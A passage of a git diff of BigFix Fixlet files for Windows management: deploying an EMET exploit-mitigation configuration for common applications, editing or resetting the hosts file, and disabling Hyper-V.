+    <Relevance>(size of (set of (&quot;*\Adobe\*\Reader\AcroRd32.exe&quot;;&quot;*\Adobe\Acrobat*\Acrobat\Acrobat.exe&quot;;&quot;*\Java\jre*\bin\java.exe&quot;;&quot;*\Java\jre*\bin\javaw.exe&quot;;&quot;*\Java\jre*\bin\javaws.exe&quot;;&quot;*\Google\Chrome\Application\chrome.exe&quot;;&quot;*\Google\Google Talk\googletalk.exe&quot;;&quot;*\Mozilla Firefox\firefox.exe&quot;;&quot;*\Mozilla Firefox\plugin-container.exe&quot;;&quot;*\Mozilla Thunderbird\thunderbird.exe&quot;;&quot;*\Mozilla Thunderbird\plugin-container.exe&quot;;&quot;*\Adobe\Adobe Photoshop CS*\Photoshop.exe&quot;;&quot;*\Winamp\winamp.exe&quot;;&quot;*\Opera\opera.exe&quot;;&quot;*\Opera\*\opera.exe&quot;;&quot;*\WinRAR\winrar.exe&quot;;&quot;*\WinRAR\rar.exe&quot;;&quot;*\WinRAR\unrar.exe&quot;;&quot;*\WinZip\winzip32.exe&quot;;&quot;*\WinZip\winzip64.exe&quot;;&quot;*\VideoLAN\VLC\vlc.exe&quot;;&quot;*\Real\RealPlayer\realconverter.exe&quot;;&quot;*\Real\RealPlayer\realplay.exe&quot;;&quot;*\mIRC\mirc.exe&quot;;&quot;*\7-Zip\7z.exe&quot;;&quot;*\7-Zip\7zG.exe&quot;;&quot;*\7-Zip\7zFM.exe&quot;;&quot;*\Safari\Safari.exe&quot;;&quot;*\QuickTime\QuickTimePlayer.exe&quot;;&quot;*\iTunes\iTunes.exe&quot;;&quot;*\Pidgin\pidgin.exe&quot;;&quot;*\Foxit Reader\Foxit Reader.exe&quot;) - set of names of values of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\EMET\AppSettings&quot; of native registry) != 0) | true</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-06-06</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
+
+parameter "emetconfexe"="{pathname of file "emet_conf.exe" of folder whose (name of it starts with "EMET") of program files x32 folder}"
+
+delete __createfile
+delete defaults.xml
+
+createfile until _end_
+<?xml version="1.0"?>
+<!--
+EMET Popular Software protections config.
+Enables protections for common software such as Internet Explorer, Microsof Office, Windows Media Player, Adobe Acrobat Reader, Java, WinZip, VLC, RealPlayer, QuickTime, Opera, etc.
+
+All applications will have the default mitigations applied to them unless specific mitigations are specified per application.
+Environment variable supported:
+- %ProgramFiles(x86)% - This maps to %ProgramFiles(x86)%. If it's not defined on the system, it will map to %ProgramFiles%.
+- %ProgramFiles% - This maps to %ProgramFiles%. If the Product's Arch property is x64, it will map to the 64 bit program files directory.
+- %Windir% - Windows directory
+- %LOCALAPPDATA% - User local data path
+- %APPDATA% - User roaming data path
+- All other environment variables
+- MinOS - when a mitigation is enabled (=true), it will be applied by default only if minimum OS version is equal or greater of the one specified
+
+Please refer to EMET User's Guide for detailed information on how to use wildcards "*"
+-->
+
+<EMET_Standard_Rules>
+
+  <!-- Default mitigations will be applied by default to configured programs unless each program explicity enables or disables certain mitigations -->
+  <DefaultConfig>
+    <Mitigations>
+      <Mitigation Name="DEP"            Enabled="true" />
+      <Mitigation Name="SEHOP"          Enabled="true" />
+      <Mitigation Name="NullPage"       Enabled="true" />
+      <Mitigation Name="HeapSpray"      Enabled="true" />
+      <Mitigation Name="EAF"            Enabled="false" />
+      <Mitigation Name="EAF+"           Enabled="false" />
+      <Mitigation Name="MandatoryASLR"  Enabled="true" />
+      <Mitigation Name="BottomUpASLR"   Enabled="true" />
+      <Mitigation Name="LoadLib"        Enabled="true" />
+      <Mitigation Name="MemProt"        Enabled="true" />
+      <Mitigation Name="Caller"         Enabled="true" />
+      <Mitigation Name="SimExecFlow"    Enabled="true" />
+      <Mitigation Name="StackPivot"     Enabled="true" />
+      <Mitigation Name="ASR"            Enabled="false" />
+    </Mitigations>
+  </DefaultConfig>
+
+  <Settings>
+    <ExploitAction Value="StopProgram" />
+    <AdvancedSettings DeepHooks="True" AntiDetours="True" BannedFunctions="True" />
+  </Settings>
+
+  <!--
+  ******************************************************************************************************************
+  Suites and programs definitions
+  ******************************************************************************************************************
+  -->
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="Google">
+    <Product Name="Chrome">
+      <Version Arch="x86" Path="*\Google\Chrome\Application\chrome.exe">
+        <Mitigation Name="SEHOP" Enabled="true" MinOS="6.1"/>
+        <Mitigation Name="EAF+" Enabled="false">
+          <eaf_modules>chrome_child.dll</eaf_modules>
+        </Mitigation>
+
+      </Version>
+    </Product>
+
+    <Product Name="Google Talk">
+      <Version Arch="x86" Path="*\Google\Google Talk\googletalk.exe">
+        <Mitigation Name="DEP" Enabled="false" />
+        <Mitigation Name="SEHOP" Enabled="true" MinOS="6.1"/>
+      </Version>
+    </Product>
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="Mozilla">
+    <Suite Name="FireFox" Arch="x86">
+      <App Name="Browser" Path="*\Mozilla Firefox\firefox.exe">
+        <Mitigation Name="EAF+" Enabled="false">
+          <eaf_modules>mozjs.dll;xul.dll</eaf_modules>
+        </Mitigation>
+      </App>
+      <App Name="Plugin container" Path="*\Mozilla Firefox\plugin-container.exe"/>
+    </Suite>
+
+    <Suite Name="Thunderbird" Arch="x86">
+      <App Name="Mail client" Path="*\Mozilla Thunderbird\thunderbird.exe"/>
+      <App Name="Plugin container" Path="*\Mozilla Thunderbird\plugin-container.exe"/>
+    </Suite>
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="Adobe">
+
+    <!-- Adobe Photoshop CS ALL-->
+    <Product Name="Photoshop">
+      <Version Name="Photoshop" Path="*\Adobe\Adobe Photoshop CS*\Photoshop.exe"/>
+    </Product>
+
+    <!-- Adobe Acrobat and Acrobat Reader 8,9,10,11 -->
+    <Product Name="Acrobat Reader">
+      <Version Name="Acrobat Reader" Path="*\Adobe\*\Reader\AcroRd32.exe">
+        <Mitigation Name="EAF+" Enabled="false">
+          <eaf_modules>AcroRd32.dll;Acrofx32.dll;AcroForm.api</eaf_modules>
+        </Mitigation>
+      </Version>
+    </Product>
+    <Product Name="Acrobat">
+      <Version Name="Acrobat" Path="*\Adobe\Acrobat*\Acrobat\Acrobat.exe">
+        <Mitigation Name="EAF+" Enabled="false">
+          <eaf_modules>AcroRd32.dll;Acrofx32.dll;AcroForm.api</eaf_modules>
+        </Mitigation>
+      </Version>
+    </Product>
+
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="Nullsoft">
+    <Product Name="Winamp">
+      <Version Arch="x86" Path="*\Winamp\winamp.exe"/>
+    </Product>
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="Opera Software ASA">
+    <Product Name="Opera Browser">
+      <Version Arch="x86" Path="*\Opera\opera.exe"/>
+    </Product>
+  </Vendor>
+  <Vendor Name="Opera Software ASA">
+    <Product Name="Opera Browser">
+      <Version Arch="x86" Path="*\Opera\*\opera.exe"/>
+    </Product>
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="RAR Labs">
+    <Suite Name="WinRAR">
+      <App Name="GUI" Path="*\WinRAR\winrar.exe"/>
+      <App Name="Console" Path="*\WinRAR\rar.exe"/>
+      <App Name="Unrar" Path="*\WinRAR\unrar.exe"/>
+    </Suite>
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="WinZip Computing">
+    <Product Name="WinZip (x86)">
+      <Version Arch="x86" Path="*\WinZip\winzip32.exe"/>
+    </Product>
+
+    <Product Name="WinZip (x64)">
+      <Version Arch="x64" Path="*\WinZip\winzip64.exe"/>
+    </Product>
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="VideoLAN">
+    <Product Name="VLC">
+      <Version Arch="x86" Path="*\VideoLAN\VLC\vlc.exe"/>
+    </Product>
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="Real Networks">
+    <Suite Name="RealPlayer" Arch="x86">
+      <App Name="Converter" Path="*\Real\RealPlayer\realconverter.exe"/>
+      <App Name="Player" Path="*\Real\RealPlayer\realplay.exe"/>
+    </Suite>
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="mIRC Co">
+    <Product Name="mIRC">
+      <Version Arch="x86" Path="*\mIRC\mirc.exe"/>
+    </Product>
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="7-Zip">
+    <Suite Name="7-Zip">
+      <App Name="Console command line" Path="*\7-Zip\7z.exe">
+        <Mitigation Name="EAF" Enabled="false" />
+      </App>
+      <App Name="GUI command line" Path="*\7-Zip\7zG.exe">
+        <Mitigation Name="EAF" Enabled="false" />
+      </App>
+      <App Name="File manager" Path="*\7-Zip\7zFM.exe">
+        <Mitigation Name="EAF" Enabled="false" />
+      </App>
+    </Suite>
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="Apple">
+    <Product Name="Safari">
+      <Version Arch="x86" Path="*\Safari\Safari.exe"/>
+    </Product>
+
+    <Product Name="QuickTime">
+      <Version Arch="x86" Path="*\QuickTime\QuickTimePlayer.exe"/>
+    </Product>
+
+    <Product Name="iTunes">
+      <Version Path="*\iTunes\iTunes.exe"/>
+    </Product>
+
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="Pidgin">
+    <Product Name="Pidgin">
+      <Version Arch="x86" Path="*\Pidgin\pidgin.exe"/>
+    </Product>
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="Oracle">
+      <Suite Name="Java">
+          <App Name="Console" Path="*\Java\jre*\bin\java.exe">
+              <Mitigation Name="HeapSpray" Enabled="false" />
+          </App>
+          <App Name="GUI" Path="*\Java\jre*\bin\javaw.exe">
+              <Mitigation Name="HeapSpray" Enabled="false" />
+          </App>
+          <App Name="Web Start" Path="*\Java\jre*\bin\javaws.exe">
+              <Mitigation Name="HeapSpray" Enabled="false" />
+          </App>
+      </Suite>
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="Foxit">
+    <Product Name="Foxit Reader">
+      <Version Arch="x86" Path="*\Foxit Reader\Foxit Reader.exe"/>
+    </Product>
+  </Vendor>
+
+</EMET_Standard_Rules>
+_end_
+
+move __createfile defaults.xml
+
+waithidden "{parameter "emetconfexe"}" --import defaults.xml]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Hosts File - Add 127.0.0.1 FQDN - Windows (23379).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Hosts File - Add 127.0.0.1 FQDN - Windows (23379).bes
index 7ea924c0d..0aae46c3c 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Hosts File - Add 127.0.0.1 FQDN - Windows (23379).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Hosts File - Add 127.0.0.1 FQDN - Windows (23379).bes	
@@ -1,52 +1,52 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Hosts File - Add 127.0.0.1 FQDN - Windows
-  ID       : 23379
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-02-01T19:23:10
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Hosts File - Add 127.0.0.1 FQDN - Windows</Title>
-    <Description><![CDATA[<P>This Fixlet adds the BigFix Managed&nbsp;"127.0.0.1 this.machines.hostname" to the hosts file on the machine.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>not exists (it contains &quot;127.0.0.1&quot; and it contains dns name as lowercase) of lines containing &quot;#BigFixManagedEntry&quot; of file &quot;hosts&quot; of folder &quot;drivers\etc&quot; of system x64 folder</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2017-01-31</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
-
-parameter &quot;Hosts&quot;=&quot;{pathname of folder &quot;drivers\etc&quot; of system x64 folder}\hosts&quot;
-parameter &quot;HostsBackup&quot;=&quot;{pathname of folder &quot;drivers\etc&quot; of system x64 folder}\hosts.old&quot;
-
-delete __createfile
-
-createfile until _end_
-{(lines whose (it does not contain &quot;#BigFixManagedEntry&quot;) of files (parameter &quot;Hosts&quot;))}
-127.0.0.1  {dns name as lowercase}  &quot;  #BigFixManagedEntry&quot;
-_end_
-
-if {exists file (parameter &quot;Hosts&quot;)}
-	delete &quot;{parameter &quot;HostsBackup&quot;}&quot;
-	move &quot;{parameter &quot;Hosts&quot;}&quot; &quot;{parameter &quot;HostsBackup&quot;}&quot;
-endif
-
-copy __createfile &quot;{parameter &quot;Hosts&quot;}&quot;</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Hosts File - Add 127.0.0.1 FQDN - Windows
+  ID       : 23379
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-02-01T19:23:10
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Hosts File - Add 127.0.0.1 FQDN - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet adds the BigFix Managed&nbsp;"127.0.0.1 this.machines.hostname" to the hosts file on the machine.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>not exists (it contains &quot;127.0.0.1&quot; and it contains dns name as lowercase) of lines containing &quot;#BigFixManagedEntry&quot; of file &quot;hosts&quot; of folder &quot;drivers\etc&quot; of system x64 folder</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-01-31</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+parameter &quot;Hosts&quot;=&quot;{pathname of folder &quot;drivers\etc&quot; of system x64 folder}\hosts&quot;
+parameter &quot;HostsBackup&quot;=&quot;{pathname of folder &quot;drivers\etc&quot; of system x64 folder}\hosts.old&quot;
+
+delete __createfile
+
+createfile until _end_
+{(lines whose (it does not contain &quot;#BigFixManagedEntry&quot;) of files (parameter &quot;Hosts&quot;))}
+127.0.0.1  {dns name as lowercase}  &quot;  #BigFixManagedEntry&quot;
+_end_
+
+if {exists file (parameter &quot;Hosts&quot;)}
+	delete &quot;{parameter &quot;HostsBackup&quot;}&quot;
+	move &quot;{parameter &quot;Hosts&quot;}&quot; &quot;{parameter &quot;HostsBackup&quot;}&quot;
+endif
+
+copy __createfile &quot;{parameter &quot;Hosts&quot;}&quot;</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Hosts File - Remove 127.0.0.1 FQDN - Windows (23380).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Hosts File - Remove 127.0.0.1 FQDN - Windows (23380).bes
index dc93d0e68..e48c1a2be 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Hosts File - Remove 127.0.0.1 FQDN - Windows (23380).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Hosts File - Remove 127.0.0.1 FQDN - Windows (23380).bes	
@@ -1,51 +1,51 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Hosts File - Remove 127.0.0.1 FQDN - Windows
-  ID       : 23380
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-02-01T19:23:18
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Hosts File - Remove 127.0.0.1 FQDN - Windows</Title>
-    <Description><![CDATA[<P>This Fixlet removes the BigFix Managed&nbsp;"127.0.0.1 this.machines.hostname" from the hosts file on the machine.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists (it contains &quot;127.0.0.1&quot; and it contains dns name as lowercase) of lines containing &quot;#BigFixManagedEntry&quot; of file &quot;hosts&quot; of folder &quot;drivers\etc&quot; of system x64 folder</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2017-01-31</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
-
-parameter &quot;Hosts&quot;=&quot;{pathname of folder &quot;drivers\etc&quot; of system x64 folder}\hosts&quot;
-parameter &quot;HostsBackup&quot;=&quot;{pathname of folder &quot;drivers\etc&quot; of system x64 folder}\hosts.old&quot;
-
-delete __createfile
-
-createfile until _end_
-{(lines whose (it does not contain &quot;#BigFixManagedEntry&quot;) of files (parameter &quot;Hosts&quot;))}
-_end_
-
-if {exists file (parameter &quot;Hosts&quot;)}
-	delete &quot;{parameter &quot;HostsBackup&quot;}&quot;
-	move &quot;{parameter &quot;Hosts&quot;}&quot; &quot;{parameter &quot;HostsBackup&quot;}&quot;
-endif
-
-copy __createfile &quot;{parameter &quot;Hosts&quot;}&quot;</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Hosts File - Remove 127.0.0.1 FQDN - Windows
+  ID       : 23380
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-02-01T19:23:18
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Hosts File - Remove 127.0.0.1 FQDN - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet removes the BigFix Managed&nbsp;"127.0.0.1 this.machines.hostname" from the hosts file on the machine.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists (it contains &quot;127.0.0.1&quot; and it contains dns name as lowercase) of lines containing &quot;#BigFixManagedEntry&quot; of file &quot;hosts&quot; of folder &quot;drivers\etc&quot; of system x64 folder</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-01-31</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+parameter &quot;Hosts&quot;=&quot;{pathname of folder &quot;drivers\etc&quot; of system x64 folder}\hosts&quot;
+parameter &quot;HostsBackup&quot;=&quot;{pathname of folder &quot;drivers\etc&quot; of system x64 folder}\hosts.old&quot;
+
+delete __createfile
+
+createfile until _end_
+{(lines whose (it does not contain &quot;#BigFixManagedEntry&quot;) of files (parameter &quot;Hosts&quot;))}
+_end_
+
+if {exists file (parameter &quot;Hosts&quot;)}
+	delete &quot;{parameter &quot;HostsBackup&quot;}&quot;
+	move &quot;{parameter &quot;Hosts&quot;}&quot; &quot;{parameter &quot;HostsBackup&quot;}&quot;
+endif
+
+copy __createfile &quot;{parameter &quot;Hosts&quot;}&quot;</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Hosts File - Reset to Default - Windows (23381).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Hosts File - Reset to Default - Windows (23381).bes
index b52a0bee6..aba8df22f 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Hosts File - Reset to Default - Windows (23381).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Hosts File - Reset to Default - Windows (23381).bes	
@@ -1,70 +1,70 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Hosts File - Reset to Default - Windows
-  ID       : 23381
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-02-01T19:23:26
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Hosts File - Reset to Default - Windows</Title>
-    <Description>This Fixlet resets the hosts file to its default configuration on Windows.</Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists (lines whose (it does not contain &quot;#&quot; and it does not equal &quot;&quot;) of file &quot;hosts&quot; of folder &quot;drivers\etc&quot; of system x64 folder)</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2017-01-31</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
-
-parameter &quot;Hosts&quot;=&quot;{pathname of folder &quot;drivers\etc&quot; of system x64 folder}\hosts&quot;
-parameter &quot;HostsBackup&quot;=&quot;{pathname of folder &quot;drivers\etc&quot; of system x64 folder}\hosts.old&quot;
-
-delete __createfile
-
-createfile until _end_
-# Copyright (c) 1993-2009 Microsoft Corp.
-#
-# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
-#
-# This file contains the mappings of IP addresses to host names. Each
-# entry should be kept on an individual line. The IP address should
-# be placed in the first column followed by the corresponding host name.
-# The IP address and the host name should be separated by at least one
-# space.
-#
-# Additionally, comments (such as these) may be inserted on individual
-# lines or following the machine name denoted by a &apos;#&apos; symbol.
-#
-# For example:
-#
-#      102.54.94.97     rhino.acme.com          # source server
-#       38.25.63.10     x.acme.com              # x client host
-
-# localhost name resolution is handled within DNS itself.
-#	127.0.0.1       localhost
-#	::1             localhost
-_end_
-
-if {exists file (parameter &quot;Hosts&quot;)}
-	delete &quot;{parameter &quot;HostsBackup&quot;}&quot;
-	move &quot;{parameter &quot;Hosts&quot;}&quot; &quot;{parameter &quot;HostsBackup&quot;}&quot;
-endif
-
-copy __createfile &quot;{parameter &quot;Hosts&quot;}&quot;</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Hosts File - Reset to Default - Windows
+  ID       : 23381
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-02-01T19:23:26
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Hosts File - Reset to Default - Windows</Title>
+    <Description>This Fixlet resets the hosts file to its default configuration on Windows.</Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists (lines whose (it does not contain &quot;#&quot; and it does not equal &quot;&quot;) of file &quot;hosts&quot; of folder &quot;drivers\etc&quot; of system x64 folder)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-01-31</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+parameter &quot;Hosts&quot;=&quot;{pathname of folder &quot;drivers\etc&quot; of system x64 folder}\hosts&quot;
+parameter &quot;HostsBackup&quot;=&quot;{pathname of folder &quot;drivers\etc&quot; of system x64 folder}\hosts.old&quot;
+
+delete __createfile
+
+createfile until _end_
+# Copyright (c) 1993-2009 Microsoft Corp.
+#
+# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
+#
+# This file contains the mappings of IP addresses to host names. Each
+# entry should be kept on an individual line. The IP address should
+# be placed in the first column followed by the corresponding host name.
+# The IP address and the host name should be separated by at least one
+# space.
+#
+# Additionally, comments (such as these) may be inserted on individual
+# lines or following the machine name denoted by a &apos;#&apos; symbol.
+#
+# For example:
+#
+#      102.54.94.97     rhino.acme.com          # source server
+#       38.25.63.10     x.acme.com              # x client host
+
+# localhost name resolution is handled within DNS itself.
+#	127.0.0.1       localhost
+#	::1             localhost
+_end_
+
+if {exists file (parameter &quot;Hosts&quot;)}
+	delete &quot;{parameter &quot;HostsBackup&quot;}&quot;
+	move &quot;{parameter &quot;Hosts&quot;}&quot; &quot;{parameter &quot;HostsBackup&quot;}&quot;
+endif
+
+copy __createfile &quot;{parameter &quot;Hosts&quot;}&quot;</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Hyper-V Platform - Disable - Windows (20654).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Hyper-V Platform - Disable - Windows (20654).bes
index 4072f0cab..d05bb6282 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Hyper-V Platform - Disable - Windows (20654).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Hyper-V Platform - Disable - Windows (20654).bes	
@@ -1,38 +1,38 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Hyper-V Platform - Disable - Windows
-  ID       : 20654
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-17T15:28:34
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Hyper-V Platform - Disable - Windows</Title>
-    <Description>This Fixlet enables Hyper-V Platform in Windows to support the deployment of Credential Guard </Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>set of (string values of properties &quot;Caption&quot; of select objects &quot;* from win32_optionalfeature where installstate= 1&quot; of wmi) contains &quot;Hyper-V Platform&quot;</Relevance>
-    <Category>Virtualization Based Security</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-13</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
-// Enter your action script here
-
-wait dism.exe /NoRestart /Online /Disable-Feature:Microsoft-Hyper-V-Hypervisor</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Hyper-V Platform - Disable - Windows
+  ID       : 20654
